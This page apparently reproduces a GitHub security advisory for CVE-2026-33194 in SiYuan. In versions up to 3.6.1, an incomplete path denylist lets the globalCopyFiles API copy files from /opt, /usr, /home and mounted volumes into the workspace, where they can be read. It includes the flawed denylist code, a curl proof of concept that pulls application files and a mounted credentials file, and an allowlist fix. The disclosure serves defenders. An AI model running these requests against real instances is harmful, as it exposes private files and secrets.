CVE-2026-33194: SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)
Summary The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes).
Published Mar 18, 2026 · Updated Nov 5, 2026
Affected packages
github.com/siyuan-note/siyuan/kernel
- Ecosystem
- Go
- Affected
- <= 3.6.1
- Fixed in
- 3.6.2
- Check
go list -m github.com/siyuan-note/siyuan/kernel
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.
Details
Current denylist in kernel/util/path.go:391-405:
prefixes := []string{
"/.", // dotfiles
"/etc", // system config
"/root", // root home
"/var", // variable data
"/proc", // process info
"/sys", // sysfs
"/run", // runtime data
"/bin", // binaries
"/boot", // boot files
"/dev", // devices
"/lib", // libraries
"/srv", // service data
"/tmp", // temp files
}NOT blocked:
/opt— commonly contains application data, databases, credentials. In SiYuan Docker,/opt/siyuan/contains the application itself./usr— contains/usr/local/etc,/usr/local/share, custom configs/home— other users' home directories (only~/.sshand~/.configof the current HomeDir are blocked via separate checks, but other users' homes are accessible)/mnt,/media— mounted volumes, network shares, often containing secrets/snap— snap package data/sbin,/lib64— system binaries/libraries
The globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:
if util.IsSensitivePath(absSrc) {
// reject
continue
}
// File is copied into workspace — then readable via /api/file/getFilePoC
# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'
# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"path":"data/assets/SiYuan-Kernel"}'
# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'Impact
- Read arbitrary files from
/opt,/usr,/home,/mnt,/mediaand any other non-denylisted path - In Docker deployments: read application source code, configs, mounted secrets
- The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked
Recommended Fix
Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:
func IsSensitivePath(p string) bool {
absPath := filepath.Clean(p)
// Allowlist: only workspace and configured safe directories
if strings.HasPrefix(absPath, WorkspaceDir) {
// Block workspace-internal sensitive paths (conf/)
if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
return true
}
return false
}
// Everything outside workspace is sensitive by default
return true
}Credited to offset, zuhairhalawa.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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